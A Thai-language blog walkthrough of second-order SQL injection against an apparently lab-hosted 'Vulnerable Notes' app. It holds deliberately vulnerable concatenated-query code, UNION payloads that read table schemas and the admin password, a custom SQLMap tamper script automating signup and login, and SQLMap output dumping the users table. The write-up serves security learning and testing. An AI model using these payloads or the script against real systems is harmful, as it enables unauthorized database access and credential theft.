ใช้ประโยชน์จากการฉีด SQL ลำดับที่ 2

Feb 05 2023
ฉันเจอสิ่งนี้และพบว่ามันน่าสนใจมาก แต่ก็เป็นนามธรรมมากที่จะเข้าใจและยากที่จะใช้ประโยชน์ อย่างไรก็ตาม การเรียนรู้วิธีการใช้ประโยชน์จากช่องโหว่ประเภทนี้ (SQLi) ช่วยให้ฉันได้เปิดมุมมองให้กว้างขึ้น เสริมทักษะ SQLMap ของฉัน และทำให้ฉันเข้าใจดีขึ้นเกี่ยวกับวิธีการประมวลผลอินพุตของผู้ใช้ภายในเวิร์กโฟลว์แอปพลิเคชันฝั่งเซิร์ฟเวอร์

ฉันเจอสิ่งนี้และพบว่ามันน่าสนใจมาก แต่ก็เป็นนามธรรมมากที่จะเข้าใจและยากที่จะใช้ประโยชน์ อย่างไรก็ตาม การเรียนรู้วิธีการใช้ประโยชน์จากช่องโหว่ประเภทนี้ (SQLi) ช่วยให้ฉันได้เปิดมุมมองให้กว้างขึ้น เสริมทักษะ SQLMap ของฉัน และทำให้ฉันเข้าใจดีขึ้นเกี่ยวกับวิธีการประมวลผลอินพุตของผู้ใช้ภายในเวิร์กโฟลว์แอปพลิเคชันฝั่งเซิร์ฟเวอร์

ในโพสต์นี้ฉันจะเขียนเกี่ยวกับ:

  • ลำดับที่ 2 ของ SQLi โดยทั่วไป
  • เงื่อนไขเบื้องต้นที่จำเป็น
  • วิธีการระบุ
  • วิธีการหาประโยชน์ด้วยตนเองและ
  • วิธีทำให้การหาประโยชน์โดยอัตโนมัติด้วยสคริปต์ SQLMap tamper ที่กำหนดเอง

พื้นฐาน

กล่าวง่ายๆ: ในระหว่างการฉีด SQL ลำดับแรก ผู้โจมตีใช้พารามิเตอร์อินพุต (จุดฉีด) เพื่อจัดการการสืบค้น SQL ซึ่งดำเนินการโดยแอปพลิเคชันเซิร์ฟเวอร์ที่มีช่องโหว่ เซิร์ฟเวอร์ใช้อินพุตที่ผู้ใช้ให้มาเพื่อสร้างคิวรี SQL เพื่ออ่าน เขียน อัปเดต ลบ ฯลฯ ข้อมูลภายในฐานข้อมูลแบ็กเอนด์ หากอินพุตที่ผู้ใช้ให้มาไม่ได้รับการจัดการด้วยวิธีที่ปลอดภัย (การฆ่าเชื้อ การตรวจสอบความถูกต้อง) ผู้โจมตีสามารถจัดเตรียมเพย์โหลดที่จัดการการสืบค้น SQL ที่เรียกใช้งานเพื่อดำเนินการที่เป็นอันตรายบน DBMS ลักษณะเฉพาะสำหรับ SQLi ลำดับแรกคือ การสืบค้น SQL ที่เป็นอันตรายถูกดำเนินการเป็นผลโดยตรงจากการฉีดเพย์โหลด ผู้โจมตีไม่จำเป็นต้องดำเนินการครั้งที่สองเพื่อดำเนินการเพย์โหลดที่เป็นอันตราย

มีหลายวิธีในการป้องกันการฉีด SQL ลำดับแรกอย่างง่ายดาย การใช้คำสั่งที่เตรียมไว้หรือการประมวลผลอินพุตแบบกำหนดพารามิเตอร์เป็นเพียงส่วนน้อยเท่านั้น อย่างไรก็ตาม นักพัฒนาในปัจจุบันอาจตระหนักว่าข้อมูลที่ป้อนโดยผู้ใช้ควรได้รับการจัดการอย่างปลอดภัย แต่มักลืมจัดการความปลอดภัยของข้อมูลที่บันทึกไว้ในฐานข้อมูลแล้ว นี่คือที่มาของ SQLi ลำดับที่สอง

เพื่อทำให้สิ่งต่าง ๆ ชัดเจนขึ้น ลองสมมติสถานการณ์ต่อไปนี้: แอปพลิเคชันอนุญาตให้ผู้ใช้อัปโหลดรูปภาพและบันทึกลงในฐานข้อมูล ตารางมีคอลัมน์สำหรับ:

  • รหัสเฉพาะของรูปภาพ
  • รูปภาพนั้นเอง
  • ชื่อไฟล์ของรูปภาพ
  • ตัวนับสำหรับการดูรูปภาพโดยผู้ใช้แอปพลิเคชัน

POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg

[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]

cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))

conn.commit()
conn.close()

ดังที่ได้กล่าวไว้ก่อนหน้านี้ 'รูปภาพ' ของตารางฐานข้อมูลมี 'มุมมอง' คอลัมน์ที่สาม ทุกครั้งที่ผู้ใช้ดูรูปภาพ ตัวนับนี้จะเพิ่มขึ้นทีละ 1 แอปพลิเคชันยังส่งคืนตัวนับให้กับผู้ใช้ หากผู้ใช้เปิดมุมมองรายละเอียดของรูปภาพ ดังนั้น ในบางจุดของโค้ด แอปพลิเคชันอาจมีลักษณะดังนี้:

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture extracted from database]

cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]

conn.close()

ข้อกำหนดเบื้องต้นของ SQLi ลำดับที่ 2

ดังนั้นเรามาสรุปบทนำสั้นๆ นี้และกำหนดข้อกำหนดเบื้องต้นและคุณลักษณะของ SQLi ลำดับที่ 2

  • แอปพลิเคชันอนุญาตให้เก็บข้อมูลอินพุตของผู้ใช้ภายในแอปพลิเคชันระหว่างขั้นตอนแรก ซึ่งอาจเป็นได้ทั้งในพื้นที่หน่วยความจำของแอปพลิเคชันหรือใน DBMS ส่วนหลัง เป็นต้น
  • ผู้โจมตีสามารถดำเนินการขั้นตอนที่สองเพื่อให้แอปพลิเคชันเรียกใช้แบบสอบถาม SQL ที่ใช้อินพุตของผู้ใช้ที่ถูกแทรกในขั้นตอนแรก
  • แอปพลิเคชันไม่ได้ใช้เทคนิคต่อต้าน SQLi ขณะดำเนินการค้นหา (ระหว่างขั้นตอนที่ 2) ตามอินพุตของผู้ใช้ที่ประสงค์ร้าย (จากขั้นตอนที่ 1)

การระบุช่องโหว่เหล่านี้อาจทำได้ยากมาก ขึ้นอยู่กับความซับซ้อนและความสามารถในการตรวจสอบย้อนกลับของสถาปัตยกรรมแอปพลิเคชันและการนำไปใช้งาน

ลองจินตนาการถึงขั้นตอนการดำเนินการของฟังก์ชันการทำงานของแอปพลิเคชันในขณะที่ดำเนินการที่อาจโต้ตอบกับ DBMS แบ็กเอนด์

ก่อนอื่น คุณจะต้องทดสอบการฉีด SQL ลำดับแรกแบบคลาสสิกเสมอ แต่ถ้าไม่มีอะไรทำงานและคุณต้องสันนิษฐานว่ามีการใช้การป้องกันบางอย่างในระหว่างการประมวลผลคำขอฉีด ให้ลองคิดอีกขั้นและจินตนาการว่าข้อมูลที่ป้อนเข้าของคุณอาจได้รับการประมวลผลในฟังก์ชัน/พื้นที่ต่างๆ ของแอปพลิเคชัน ณ จุดใด หากคุณระบุจุดดำเนินการคำสั่งที่ 2 ที่เป็นไปได้สองสามจุด ให้ลองนึกภาพการสืบค้นที่ดำเนินการโดยแอปพลิเคชัน ณ จุดนี้ ต่อไป สร้างเพย์โหลดการฉีดของคุณในลักษณะที่พวกเขาสามารถใช้ประโยชน์จากการสืบค้นที่ดำเนินการโดยจุดดำเนินการลำดับที่ 2 และตรวจสอบผลลัพธ์

การทำให้กระบวนการนั้นเป็นไปโดยอัตโนมัติอาจซับซ้อนเล็กน้อย แต่สามารถช่วยให้คุณประหยัดเวลาได้มาก อย่างไรก็ตาม การมีความเข้าใจเป็นอย่างดีเกี่ยวกับขั้นตอนการดำเนินการฝั่งเซิร์ฟเวอร์ของแอปพลิเคชัน สตริงการสืบค้นที่ได้รับผลกระทบ ฯลฯ มีลักษณะอย่างไร มีความจำเป็นอย่างยิ่งหากคุณต้องการทำให้กระบวนการแสวงประโยชน์เป็นแบบอัตโนมัติด้วยเครื่องมืออย่างเช่น SQLMap ดังนั้นอย่าเพิ่งยิงไปที่แอปพลิเคชันและหวังว่าจะดีที่สุด เจาะลึกลงไปในแอปพลิเคชันให้มากที่สุดก่อนที่จะเตรียมคำสั่งการแสวงหาประโยชน์จาก SQLMap ขั้นสุดท้าย เพื่อเพิ่มโอกาสในการประสบความสำเร็จ

คู่มือการวิเคราะห์และการใช้ประโยชน์

ดังนั้น เพื่อแสดงสิ่งนี้ในตัวอย่างที่ใช้งานได้จริง ฉันจะใช้แอปพลิเคชันที่มีช่องโหว่ (“Vulnerable Notes”) กับส่วนประกอบแอปพลิเคชันทั่วไป เช่น:

  • เข้าสู่ระบบ,
  • ลงชื่อ,
  • ประวัติโดยย่อ,
  • เปลี่ยนรหัสผ่าน,
  • จดบันทึก
  • ออกจากระบบ.

ก่อนอื่น ฉันวิเคราะห์แอปพลิเคชันด้วยเบราว์เซอร์ เพื่อระบุจุดฉีด SQL ที่เป็นไปได้

ฟังก์ชันลงชื่อสมัครใช้จะทำแบบสอบถาม SELECT บางประเภทเพื่อตรวจสอบว่าชื่อผู้ใช้นั้นถูกใช้ไปแล้วหรือไม่ และแบบสอบถาม INSERT เพื่อลงทะเบียนผู้ใช้ของฉัน

ฟังก์ชันการลงชื่อสมัครใช้

ฉันสร้างผู้ใช้และไปที่หน้าเข้าสู่ระบบ หน้านี้จะนำข้อมูลรับรองที่ผู้ใช้ให้มาและดำเนินการคำสั่ง SELECT บนฐานข้อมูลเพื่อตรวจสอบข้อมูลประจำตัว

หน้าเข้าสู่ระบบ

หลังจากตรวจสอบสิทธิ์แล้ว ผู้ใช้จะถูกเปลี่ยนเส้นทางไปยังโฮมเพจ ชื่อผู้ใช้จะแสดงที่ด้านบนของหน้า ดังนั้นจึงเป็นไปได้ว่าแอปพลิเคชันจะทำการสืบค้นแบบ SELECT เพื่อแยกชื่อผู้ใช้ออกจากฐานข้อมูล ณ จุดนี้

หน้าแรก

จากจุดเริ่มต้นนี้ ผู้ใช้สามารถดำเนินการที่เกี่ยวข้องกับผู้ใช้ เช่น การจดบันทึกบน /notes endpoint ชื่อผู้ใช้จะแสดงในตำแหน่งที่สองภายในหัวข้อ "ยินดีต้อนรับ" เป็นไปได้ว่าแอปพลิเคชันดำเนินการค้นหา SELECT เพื่อขอชื่อผู้ใช้อีกครั้ง

ฟังก์ชั่นการจดบันทึก

แอปพลิเคชันมักจะดำเนินการคำสั่ง INSERT บนฐานข้อมูลหากใช้ฟังก์ชันนี้ หลังจากจดบันทึกแล้ว สามารถดูได้ในหน้าเดียวกันใต้แบบฟอร์ม

แสดงบันทึกที่บันทึกไว้

หากต้องการแสดงบันทึก แอปพลิเคชันจะดำเนินการค้นหาแบบ SELECT บนฐานข้อมูลเพื่อขอบันทึกที่บันทึกไว้

แอปพลิเคชันยังมีฟังก์ชัน "เปลี่ยนรหัสผ่าน" แต่ข้อความบนหน้าระบุว่าฟังก์ชันนี้อาจใช้งานไม่ได้

ฟังก์ชั่นเปลี่ยนรหัสผ่าน

อย่างไรก็ตาม หากมีการใช้งาน เป็นไปได้มากว่าจะดำเนินการค้นหา UPDATE บางประเภทในฐานข้อมูล ผมต้องการกำจัดเวกเตอร์นั้นก่อน ดังนั้นผมจึงลองใช้ฟังก์ชันนี้ แต่ก็ไม่สำเร็จ ยืนยันว่าไม่ได้ใช้งานฟังก์ชันนี้

ตามแนวทางของฉันสำหรับ SQLi ลำดับแรก สิ่งต่อไปที่ฉันทำคือการสรุปการสืบค้น SQL ที่เป็นไปได้ทั้งหมด ซึ่งฉันอาจเข้าควบคุมโดยการฉีดเพย์โหลดที่เป็นอันตราย ณ จุดนี้ ฉันพยายามจินตนาการว่าข้อความค้นหาเหล่านี้จะมีลักษณะอย่างไร ฉันไม่มั่นใจว่าจริง ๆ แล้วหน้าตาเป็นแบบนี้จริง ๆ แต่ช่วยให้เข้าใจว่าแบ็กเอนด์ทำงานอย่างไร

ลงทะเบียน

-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME

-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)

-- Check if there is an user id where the provided credentials actually match. 
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD

-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)

เวลาสำหรับวิธีการสั่งซื้อครั้งที่ 2

เนื่องจากฉันได้วิเคราะห์แอปพลิเคชันโดยละเอียดแล้ว ฉันจะไม่ต้องวิเคราะห์แอปพลิเคชันเป้าหมายอีก แต่เป็นการเพียงพอแล้วที่จะอธิบายความรู้ที่ฉันได้รับเกี่ยวกับแอปพลิเคชันด้วยมุมมอง/แนวทางที่แตกต่างออกไป

กลับมาที่ข้อกำหนดเบื้องต้นที่กล่าวถึงก่อนหน้านี้ของ SQLi ลำดับที่ 2 ฉันต้องถามตัวเองด้วยคำถาม:

แอปพลิเคชันรับข้อมูลที่ผู้ใช้ของฉันป้อนไว้ที่ไหน เก็บไว้ใช้ในภายหลัง และในขั้นตอนต่อมา ใช้เป็นส่วนหนึ่งของคำค้นหาอื่นที่ฉันไม่มีผลกระทบโดยตรง

ผู้สมัครที่เป็นไปได้คือ:

  • ชื่อผู้ใช้ : ฉันส่งชื่อผู้ใช้ไปยังแอปพลิเคชันในระหว่างขั้นตอนการลงทะเบียน ชื่อผู้ใช้จะถูกสอบถามในภายหลังจากหน้า /home และจากหน้า /notes เพื่อแสดง และอาจเป็นไปได้ว่าชื่อผู้ใช้นั้นถูกใช้เพื่อค้นหาบันทึกย่อที่บันทึกไว้ของผู้ใช้ที่ระบุจากฐานข้อมูล

เนื่องจากฉันสามารถเห็นผลลัพธ์ของแบบสอบถาม ฉันรู้ว่าฉันกำลังเผชิญกับสถานการณ์การแสวงประโยชน์จาก UNION ตามวิธีการทั่วไป ก่อนอื่นฉันจะต้องค้นหาจำนวนคอลัมน์ที่ถูกสืบค้นจากตารางโดยแบบสอบถามดั้งเดิม สำหรับสิ่งนี้ ฉันกำลังเตรียมเพย์โหลดหลายรายการและวิเคราะห์ผลลัพธ์ในภายหลัง

-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...

เพย์โหลดจะแสดงตามที่คาดไว้ที่ด้านบนของโฮมเพจและที่ด้านบนของหน้า /notes

ต่อไป ฉันพยายามแทรกโน้ต แต่น่าประหลาดใจที่แอปพลิเคชันไม่แสดงโน้ตในภายหลัง!

ดูเหมือนว่าข้อความค้นหาที่รับผิดชอบในการขอบันทึกย่อจากฐานข้อมูลใช้งานไม่ได้ สิ่งนี้บ่งชี้ว่าเพย์โหลดของเรามีผลกระทบต่อข้อความค้นหาภายใน แต่เนื่องจากไม่มีอะไรปรากฏขึ้น ดูเหมือนว่าข้อความค้นหาจะสร้างข้อผิดพลาดหรือไม่แสดงผลลัพธ์ สิ่งนี้สามารถเกิดขึ้นได้หากเราไม่ได้กำหนดจำนวนคอลัมน์ที่ถูกต้องในเพย์โหลด ดังนั้น เรามาดำเนินการต่อกับเพย์โหลดถัดไปในรายการจนกว่าจะมีพฤติกรรมที่แตกต่างออกไป

โชคดีที่เพย์โหลดถัดไปใช้งานได้! "ไม่มี" และ "ไม่มี" ถูกส่งคืนเป็นหัวเรื่องและข้อความของโน้ต

วางชิ้นส่วนเข้าด้วยกัน:

-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- The payload
' UNION SELECT null,null--comment

-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment

ฉันดัดแปลงข้อมูลจากเอกสารข้อมูลสรุปและสร้างเพย์โหลดที่ใช้งานได้ เพย์โหลดใหม่:

' UNION SELECT null,sqlite_version()--comment

จากจุดนี้ไป โฟลว์การหาประโยชน์จาก SQLite ทั่วไป (เพย์โหลดในชีตชีตที่ให้มา) สามารถใช้เพื่อดัมพ์ฐานข้อมูลทั้งหมดได้ มาลองเพย์โหลดเพิ่มเติมก่อนที่จะทำให้กระบวนการเป็นไปโดยอัตโนมัติ

แยกชื่อตารางทั้งหมด

' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment

      
                

' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment

      
                

' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment

      
                

' UNION SELECT null, password FROM users WHERE username='admin'--comment

      
                

การเอารัดเอาเปรียบโดยอัตโนมัติผ่าน SQLMap Tamper Script

จนกว่าฉันจะทำงานในสถานการณ์นี้ ฉันใช้ SQLMap เพื่อใช้ประโยชน์จาก SQLi ลำดับแรกเท่านั้น ฉันสงสัยว่ามันเป็นไปได้ที่จะใช้ประโยชน์จาก SQLi อันดับสองด้วยหรือไม่ อันดับแรก ฉันใช้เทอร์มินัลเพื่อค้นหาตัวเลือก SQLMap ที่เกี่ยวข้องกับการแสวงประโยชน์ลำดับที่สอง และพบสิ่งนี้:

┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

จำขั้นตอนที่จำเป็นในการใช้ประโยชน์จากช่องโหว่ด้วยตนเอง:

  1. การฉีด payload เข้าไปในฟังก์ชัน "register" โดยไม่ได้รับอนุญาต
  2. การตรวจสอบสิทธิ์ผ่านฟังก์ชัน "เข้าสู่ระบบ"
  3. คำขอที่รับรองความถูกต้องไปยังหน้า "บันทึก"

ฉันรู้ว่า SQLMap สามารถรันสคริปต์ไพธอนด้วยตัวเลือก “ — tamper” ฉันตรวจสอบโฟลเดอร์สคริปต์การงัดแงะเพื่อดูว่าฉันพบสิ่งที่มีประโยชน์ซึ่งฉันสามารถปรับให้เข้ากับความต้องการของฉันได้หรือไม่ น่าเศร้าที่ไม่มี

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper 
0eunion.py               chardoubleencode.py          dunion.py                     ifnull2casewhenisnull.py     modsecurityversioned.py      plus2fnconcat.py   space2hash.py         space2randomblank.py    versionedkeywords.py
apostrophemask.py        charencode.py                equaltolike.py                ifnull2ifisnull.py           modsecurityzeroversioned.py  __pycache__        space2morecomment.py  sp_password.py          versionedmorekeywords.py
apostrophenullencode.py  charunicodeencode.py         equaltorlike.py               informationschemacomment.py  multiplespaces.py            randomcase.py      space2morehash.py     substring2leftright.py  xforwardedfor.py
appendnullbyte.py        charunicodeescape.py         escapequotes.py               __init__.py                  ord2ascii.py                 randomcomments.py  space2mssqlblank.py   symboliclogical.py
base64encode.py          commalesslimit.py            greatest.py                   least.py                     overlongutf8more.py          schemasplit.py     space2mssqlhash.py    unionalltounion.py
between.py               commalessmid.py              halfversionedmorekeywords.py  lowercase.py                 overlongutf8.py              sleep2getlock.py   space2mysqlblank.py   unmagicquotes.py
binary.py                commentbeforeparentheses.py  hex2char.py                   luanginx.py                  percentage.py                space2comment.py   space2mysqldash.py    uppercase.py
bluecoat.py              concat2concatws.py           htmlencode.py                 misunion.py                  plus2concat.py               space2dash.py      space2plus.py         varnish.py

วิธีเขียนสคริปต์แก้ไขแบบกำหนดเองสำหรับ sqlmap

จากบทความ ฉันได้รับโครงร่างเทมเพลตต่อไปนี้ (ลบการนำเข้าซ้ำ) และบันทึกเป็น custom.py:

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload

ฟังก์ชันรับเพย์โหลด SQLMap ผ่านทางพารามิเตอร์ฟังก์ชัน และส่งคืนเพย์โหลดที่ถูกแก้ไขหลังการจัดการ บทความนี้ไม่ได้อธิบายวิธีใช้ **kwargs ในบริบทของ SQLMap ดังนั้นฉันจึงถาม ChatGPT และได้รับคำตอบที่ดี:

นี่ควรจะเพียงพอสำหรับการเตรียมสคริปต์การดัดแปลงแบบกำหนดเองสำหรับการเจาะระบบ สำหรับการสื่อสารกับเซิร์ฟเวอร์ ฉันใช้ไลบรารีคำขอ

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests

def dependencies():
    pass

def tamper(payload, **kwargs):
    # Create Session object
    s = requests.Session()
    
    # Register user with SQLMap payload in username
    s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
    
    # Login malicious username
    res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
    
    # Get headers from SQLMap
    headers = kwargs.get('headers', {})

    # Extract session cookie from response
    sessId = "session={}".format(s.cookies.get('session', None))

    # Pass session cookie to SQLMap cookie header
    headers['Cookie'] = sessId

    return payload

เมื่อรวมชิ้นส่วนทั้งหมดเข้าด้วยกันสามารถใช้คำสั่ง SQLMap ต่อไปนี้:

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:20:46 /2023-02-04/

[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated

[*] ending @ 12:22:06 /2023-02-04/

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:25:23 /2023-02-04/

[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+

[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated

[*] ending @ 12:25:30 /2023-02-04/

──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                                                                                                                                                                                    
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                   
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:26:59 /2023-02-04/

[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users' 
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password                              | username                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | rcLYWHCxeGUsA9tH3GNV                  | admin                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
